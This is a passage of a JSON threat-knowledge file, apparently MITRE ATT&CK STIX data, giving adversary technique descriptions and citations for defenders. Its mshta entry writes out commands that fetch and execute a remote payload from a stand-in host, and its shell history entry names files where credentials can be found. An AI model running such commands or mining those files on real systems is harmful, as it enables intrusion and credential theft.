                    "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
                },
                {
                    "source_name": "Microsoft DEV-0537",
                    "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
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            "description": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).",
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            "created": "2020-03-10T18:26:56.187Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1569/001",
                    "external_id": "T1569.001"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                },
                {
                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
                    "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
                },
                {
                    "source_name": "Launchctl Man",
                    "description": "SS64. (n.d.). launchctl. Retrieved March 28, 2020.",
                    "url": "https://ss64.com/osx/launchctl.html"
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            "name": "Launchctl",
            "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w \"%s/Library/LaunchAgents/%s\"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n",
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            "x_mitre_domains": [
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            "id": "attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3",
            "created": "2020-10-01T00:58:35.269Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1584/005",
                    "external_id": "T1584.005"
                },
                {
                    "source_name": "Dell Dridex Oct 2015",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.",
                    "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation"
                },
                {
                    "source_name": "Imperva DDoS for Hire",
                    "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.",
                    "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/"
                },
                {
                    "source_name": "Norton Botnet",
                    "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.",
                    "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html"
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            "name": "Botnet",
            "description": "Adversaries may compromise numerous third-party systems to form a botnet\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).",
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            "id": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4",
            "created": "2020-10-20T00:09:33.072Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1059/008",
                    "external_id": "T1059.008"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Command History",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
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            "modified": "2026-05-12T15:12:00.670Z",
            "name": "Network Device CLI",
            "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1552/003",
                    "external_id": "T1552.003"
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                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
                    "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
                },
                {
                    "source_name": "Medium",
                    "description": "Michael Koczwara. (2021, March 14). Windows privilege escalation via PowerShell History. Retrieved June 13, 2025.",
                    "url": "https://michaelkoczwara.medium.com/windows-privilege-escalation-dbb908cce8d4"
                },
                {
                    "source_name": "Microsoft about_History",
                    "description": "Microsoft. (2024, January 19). about_History. Retrieved June 13, 2025.",
                    "url": "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.5"
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            "name": "Shell History",
            "description": "Adversaries may search the command history on compromised systems for insecurely stored credentials.\n\nOn Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands.\n\nOn Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium)\n\nUsers often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.(Citation: External to DA, the OS X Way)",
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            "x_mitre_domains": [
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            "created": "2021-10-08T14:06:28.212Z",
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                    "url": "https://attack.mitre.org/techniques/T1562/010",
                    "external_id": "T1562.010"
                },
                {
                    "source_name": "SafeBreach",
                    "description": "Alon Leviev. (2024, August 7). Windows Downdate: Downgrade Attacks Using Windows Updates. Retrieved January 8, 2025.",
                    "url": "https://www.safebreach.com/blog/downgrade-attacks-using-windows-updates/"
                },
                {
                    "source_name": "Crowdstrike Downgrade",
                    "description": "Bart Lenaerts-Bergman. (2023, March 14). WHAT ARE DOWNGRADE ATTACKS?. Retrieved May 24, 2023.",
                    "url": "https://www.crowdstrike.com/cybersecurity-101/attack-types/downgrade-attacks/"
                },
                {
                    "source_name": "Targeted SSL Stripping Attacks Are Real",
                    "description": "Check Point. (n.d.). Targeted SSL Stripping Attacks Are Real. Retrieved May 24, 2023.",
                    "url": "https://blog.checkpoint.com/research/targeted-ssl-stripping-attacks-are-real/amp/"
                },
                {
                    "source_name": "CrowdStrike BGH Ransomware 2021",
                    "description": "Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.",
                    "url": "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/"
                },
                {
                    "source_name": "att_def_ps_logging",
                    "description": "Hao, M. (2019, February 27). Attack and Defense Around PowerShell Event Logging. Retrieved November 24, 2021.",
                    "url": "https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/"
                },
                {
                    "source_name": "inv_ps_attacks",
                    "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.",
                    "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"
                },
                {
                    "source_name": "Mandiant BYOL 2018",
                    "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 8, 2021.",
                    "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique"
                },
                {
                    "source_name": "welivesecurity",
                    "description": "Martin Smol\u00e1r. (2023, March 1). BlackLotus UEFI bootkit: Myth confirmed. Retrieved February 11, 2025.",
                    "url": "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/"
                },
                {
                    "source_name": "Microsoft Security",
                    "description": "Microsoft Incident Response. (2023, April 11). Guidance for investigating attacks using CVE-2022-21894: The BlackLotus campaign. Retrieved February 12, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/"
                },
                {
                    "source_name": "Praetorian TLS Downgrade Attack 2014",
                    "description": "Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.",
                    "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
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            "modified": "2026-04-14T22:54:35.297Z",
            "name": "Downgrade Attack",
            "description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system\u2019s backward compatibility to force it into less secure modes of operation. \n\nAdversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL), which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade) On Windows systems, adversaries may downgrade the boot manager to a vulnerable version that bypasses Secure Boot, granting the ability to disable various operating system security mechanisms.(Citation: SafeBreach)",
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            "x_mitre_contributors": [
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                "Daniel Feichter, @VirtualAllocEx, Infosec Tirol",
                "Arad Inbar, Fidelis Security"
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            "id": "attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19",
            "created": "2021-10-12T06:45:36.763Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1559/003",
                    "external_id": "T1559.003"
                },
                {
                    "source_name": "creatingXPCservices",
                    "description": "Apple. (2016, September 9). Creating XPC Services. Retrieved April 19, 2022.",
                    "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1"
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                {
                    "source_name": "Designing Daemons Apple Dev",
                    "description": "Apple. (n.d.). Retrieved October 12, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html"
                },
                {
                    "source_name": "CVMServer Vuln",
                    "description": "Mickey Jin. (2021, June 3). CVE-2021-30724: CVMServer Vulnerability in macOS and iOS. Retrieved October 12, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html"
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                {
                    "source_name": "Learn XPC Exploitation",
                    "description": "Wojciech Regu\u0142a. (2020, June 29). Learn XPC exploitation. Retrieved October 12, 2021.",
                    "url": "https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/"
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            "description": "Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).",
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                    "phase_name": "execution"
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            "x_mitre_domains": [
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            "type": "attack-pattern",
            "id": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d",
            "created": "2019-04-17T22:22:24.505Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1497",
                    "external_id": "T1497"
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                {
                    "source_name": "Unit 42 Pirpi July 2015",
                    "description": "Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"
                },
                {
                    "source_name": "Deloitte Environment Awareness",
                    "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.",
                    "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"
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            "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n",
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                    "phase_name": "stealth"
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                    "phase_name": "discovery"
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            "x_mitre_contributors": [
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "created": "2017-05-31T21:31:13.915Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1102",
                    "external_id": "T1102"
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                {
                    "source_name": "Broadcom BirdyClient Microsoft Graph API 2024",
                    "description": "Broadcom. (2024, May 2). BirdyClient malware leverages Microsoft Graph API for C&C communication. Retrieved July 1, 2024.",
                    "url": "https://www.broadcom.com/support/security-center/protection-bulletin/birdyclient-malware-leverages-microsoft-graph-api-for-c-c-communication"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2026-05-12T15:12:00.672Z",
            "name": "Web Service",
            "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: Broadcom BirdyClient Microsoft Graph API 2024) Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",
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                    "phase_name": "command-and-control"
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            "x_mitre_contributors": [
                "Anastasios Pingios",
                "Sarathkumar Rajendran, Microsoft Defender365"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows"
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            "type": "attack-pattern",
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            "created": "2020-02-04T12:52:13.006Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552/001",
                    "external_id": "T1552.001"
                },
                {
                    "source_name": "CG 2014",
                    "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.",
                    "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html"
                },
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
                },
                {
                    "source_name": "Unit 42 Unsecured Docker Daemons",
                    "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/"
                },
                {
                    "source_name": "Specter Ops - Cloud Credential Storage",
                    "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.",
                    "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48"
                },
                {
                    "source_name": "SRD GPP",
                    "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.",
                    "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx"
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            "modified": "2026-05-12T15:12:00.672Z",
            "name": "Credentials In Files",
            "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)",
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                    "phase_name": "credential-access"
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            "x_mitre_contributors": [
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                "Jay Chen, Palo Alto Networks",
                "Yossi Weizman, Azure Defender Research Team",
                "Vishwas Manral, McAfee",
                "Microsoft Threat Intelligence Center (MSTIC)"
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            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.3"
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            "type": "attack-pattern",
            "id": "attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1",
            "created": "2020-03-11T14:56:34.154Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1568/003",
                    "external_id": "T1568.003"
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                {
                    "source_name": "Meyers Numbered Panda",
                    "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
                    "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/"
                },
                {
                    "source_name": "Moran 2014",
                    "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
                },
                {
                    "source_name": "Rapid7G20Espionage",
                    "description": "Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.",
                    "url": "https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/"
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            "modified": "2026-05-12T15:12:00.673Z",
            "name": "DNS Calculation",
            "description": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)",
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            "x_mitre_domains": [
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            "created": "2020-01-23T19:32:49.557Z",
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                {
                    "source_name": "FireEye Attacks Leveraging HTA",
                    "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html"
                },
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
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                    "source_name": "Airbus Security Kovter Analysis",
                    "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.",
                    "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"
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                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
                    "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
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                    "source_name": "LOLBAS Mshta",
                    "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/"
                },
                {
                    "source_name": "Red Canary HTA Abuse Part Deux",
                    "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
                    "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
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                {
                    "source_name": "MSDN HTML Applications",
                    "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
                    "url": "https://msdn.microsoft.com/library/ms536471.aspx"
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                {
                    "source_name": "Wikipedia HTML Application",
                    "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
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            "modified": "2026-05-12T15:12:00.676Z",
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            "description": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3",
            "created": "2021-10-05T21:26:15.081Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/015",
                    "external_id": "T1547.015"
                },
                {
                    "source_name": "Adding Login Items",
                    "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html"
                },
                {
                    "source_name": "Launch Service Keys Developer Apple",
                    "description": "Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1"
                },
                {
                    "source_name": "Launch Services Apple Developer",
                    "description": "Apple. (n.d.). Launch Services. Retrieved October 5, 2021.",
                    "url": "https://developer.apple.com/documentation/coreservices/launch_services"
                },
                {
                    "source_name": "Login Items AE",
                    "description": "Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.",
                    "url": "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788"
                },
                {
                    "source_name": "Open Login Items Apple",
                    "description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021.",
                    "url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac"
                },
                {
                    "source_name": "hexed osx.dok analysis 2019",
                    "description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20221007144948/http://www.hexed.in/2019/07/osxdok-analysis.html"
                },
                {
                    "source_name": "ELC Running at startup",
                    "description": "hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.",
                    "url": "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/"
                },
                {
                    "source_name": "Startup Items Eclectic",
                    "description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021.",
                    "url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/"
                },
                {
                    "source_name": "Add List Remove Login Items Apple Script",
                    "description": "kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.",
                    "url": "https://gist.github.com/kaloprominat/6111584"
                },
                {
                    "source_name": "CheckPoint Dok",
                    "description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.",
                    "url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/"
                },
                {
                    "source_name": "objsee block blocking login items",
                    "description": "Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021.",
                    "url": "https://objective-see.com/blog/blog_0x31.html"
                },
                {
                    "source_name": "objsee netwire backdoor 2019",
                    "description": "Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021.",
                    "url": "https://objective-see.com/blog/blog_0x44.html"
                },
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                },
                {
                    "source_name": "sentinelone macos persist Jun 2019",
